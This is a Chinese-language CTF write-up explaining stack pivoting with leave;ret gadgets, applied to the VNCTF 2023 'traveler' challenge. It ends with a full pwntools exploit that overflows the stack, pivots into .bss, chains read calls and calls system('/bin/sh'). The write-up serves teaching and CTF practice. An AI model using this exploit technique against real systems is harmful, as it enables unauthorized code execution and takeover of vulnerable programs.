文章目录
- 栈迁移
- 具体流程
- VNCTF 2023 traveler libc-2.27
- 检查
- 源码
- main函数![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/386c35c30f854434ae43667b9473c58a.png)
- 全局变量地址
- 局部变量地址
- PIE保护
- 开启PIE
- 关闭PIE
- 思路
- exp
栈迁移参考
栈迁移参考
栈迁移
顾名思义,就是将当前的栈帧迁移到其他位置,即rsp和rbp改变到某些位置去
核心思想:先向某个内存区域写入gadget,然后通过第一次leave_ret修改rbp为之前溢出保存的rbp,ret再执行leave_ret,然后再将rsp的值修改为了rbp,然后再pop rbp将写入gadget的内存区域的前八个字节作为新的rbp,ret再执行写入gadget的内存地址+8处的指令。(多次栈迁移就在写入gadget的内存区域的前八个字节作为待会要迁移到的rsp的地址,然后在最后部分也是leave_ret,此时记得leave_ret之前仍需提前构造好待会要迁移到的rsp的地址的gadget内容。否则leave_ret后虽然迁移过去了,但是ret可能执行不了)
具体流程
- leave相当于mov rsp,rbp pop rbp;
- ret相当于pop rip;
- mov rsp,rbp 将rbp的值赋值给rsp寄存器
- pop rbp 把栈顶的值弹到rbp寄存器里
首先是确保可以栈溢出将 ebp,ret_addr 都可以覆盖
- 每个函数最后会执行leave;ret,此时会将rbp的值赋值给rsp,然后将栈顶的值(此时栈顶保存的是之前保存的rbp)给rbp
- 当溢出修改原来保存的rbp后,当执行leave后,rbp被修改为之前溢出修改的rbp,此时返回地址也应在之前就溢出修改为leave;ret的地址
- 当执行返回地址时,此时会将rsp也移动到修改后的rbp的位置,之后将此时rsp的栈顶的内容弹出给rbp,然后rbp被再次修改,然后再执行此时的栈顶的内容指向的位置
总结
- . 第一次leave;ret;修改rbp为之前溢出保存的rbp
- . 第二次leave;ret;此时修改rsp为修改后的rbp的值,同时会再次pop修改rbp的内容。此时ret指令会指向当前栈顶的内容指向的地址的指令(这样可以多次栈迁移只需保证leave时pop时的内容为需要去的位置,然后最后只需leave;ret,便可继续执行对应位置的rop链)
VNCTF 2023 traveler libc-2.27
检查
可栈溢出
源码
main函数
存在明显的栈溢出,并且只能溢出16个字节,即只能修改保存的rbp值和返回地址
全局变量地址
局部变量地址
PIE保护
PIE保护会修改程序允许时候的加载地址,但程序内部各个段之间的位置的相对偏移是不会变的,即可以认为变了程序放进内存的起始地址,只变了起点,然后在接着把其放进去,程序本身没有变化
所以说如果开启了PIE,那么程序内部是没有变化的,但由于基地址改变,所以各个段的位置都会在原本的程序的相对偏移之上再加上起始地址
开启PIE
关闭PIE
由于此时本身traveler文件是关闭PIE的,我可以接到IDA中去找gadget,并且全部变量的位置也可以到IDA中找
思路
此时程序中有system函数且关闭PIE,那么可以直接调用IDA中中对应system的地址,如果可执行程序中没有system函数可能需要libc基地址+system偏移。题目既然给了system函数,那就用吧
参数/bin/sh的解决,反正程序肯定需要栈迁移,不然溢出的范围太少,不能添入一些构造参数的gadget和函数的gadget,所以肯定到迁移的地方填充gadget。关于/bin/sh的地址我们可以在全局变量处输入/bin/sh,由于知道全局变量的地址,所以可以知道/bin/sh的地址
注意
此时发现出现错误,原因是RSP对应的位置是不能写的
此时该部分地址只允许读,不允许写,此时操作需要写,所以报错
此时可以通过抬高在调用system之前抬高RSP的值避免出现这种情况,需要再次修改RSP,则需再次栈迁移
结合调用system时的RSP和此时报错时的RSP,此时RSP减少了0x300多,所以保险起见,准备将RSP再次迁移到为+0x400的位置,然后发现还是会出现某些bug,为了以防万一,还是尽可能往大调吧
首先,修改保存的rbp为bss上能够在main函数结束前写入rop链的位置,然后返回地址是leave_re从而使得此时能够将rsp移动到已经写好rop链的地方。
这里最终修改rbp为自己溢出的保存的rbp然后再执行leave_ret是在main函数结束时,此时在main函数结束前还需执行一个read函数往bss段上写入数据,此时写入相应的rop链,此时第一个值为待会要给rbp修改的新值,然后是一系列gadget。由于之前说过执行system时候,rsp不能过低。而如果此时的gadget直接是system的gadget,那么rsp较低,会出现之前的情况,所以我们还需栈迁移一次,修改rsp的值,然后在执行相应的rop链。所以此时的gadget应该是能够进行栈迁移的,即为待会要改到的rsp值+修改参数的gadget+read函数+leave_ret,此时由于想直接用程序内的gadget来构造参数,此时可以以原函数开始准备read函数调用的地址作为调用read函数地址,此时可以参数构造就不要担心需要找gadget或者直接利用read函数后rdi rsi rdx没有被修改的特点从而只修改rsi即可,正好存在这样的gadget(main函数ret结束前调用的最后一个函数是向bss段输入数据)。此时我选择第二种,输入为 bss上的大地址+pop_rsi_ret+参数+read_plt+leave_ret
但此时出现一个问题此时对应的输入是大于0x28的,emmmm所以怎么办呢?
如果此时能够少一个8个字节的项就好了,由于pop_rsi_ret+参数+read_plt+leave_ret都不能少,这样才能成功栈迁移并往bss上的大地址写入rop链。所以如果能再输入一次然后只用输入这些gadget即可,同时还要保证rop链执行的连续
这个时候有个很精彩的方法就是,先read,往read下一条指令的位置写入gadget,然后read结束后,也就执行之前写入的gadget了,因为read函数里要执行ret时,内容已经写入对应位置了。注意这里不能调用read的函数不要用call read,否则会压入一个返回地址,这个返回地址是call read指令部分的下一条地址,这样就没办法成功构成rop链了。
所以此时第一次输入为bss上的大地址+pop_rsi_ret+参数+read_plt (此时的参数是第二次输入的地址)
然后第二次输入为pop_rsi_ret+参数+read_plt+leave_ret(此时的参数是 bss上的大地址)
最后再输入的gadget就是/bin/sh\x00+pop_rdi_ret+参数+system函数地址(参数为/bin/sh的地址)
exp
from pwn import*
context(os="linux",arch="amd64",log_level="debug")
t=process("./traveler")
elf=ELF("./traveler")
#gdb.attach(t,"b ,main")
bss_addr=0x00000000004040A0
pop_rdi=0x00000000004012c3
system_addr=0x0000000000401090
pop_rsi_r15_ret = 0x004012c1
leave_ret=0x0000000000401253
read_addr=elf.plt["read"]
ret = 0x40101a
payload=b"a"*0x20+p64(bss_addr)+p64(leave_ret)
t.sendafter(b"who r u?\n",payload)
payload=p64(bss_addr+0x700)+p64(pop_rsi_r15_ret)+p64(bss_addr+0x28)+p64(0)+p64(read_addr) #分两次的原因原来的rdx是0x28,如果整合到一个gadget,需要多八个字节,所以分两次read
t.sendafter(b"How many travels can a person have in his life?\n",payload)
payload=p64(pop_rsi_r15_ret)+p64(bss_addr+0x700)+p64(0)+p64(read_addr)+p64(leave_ret)
t.send(payload)
payload=b"/bin/sh\x00"+p64(pop_rdi)+p64(bss_addr+0x700)+ p64(ret) +p64(system_addr)
t.send(payload)
t.interactive()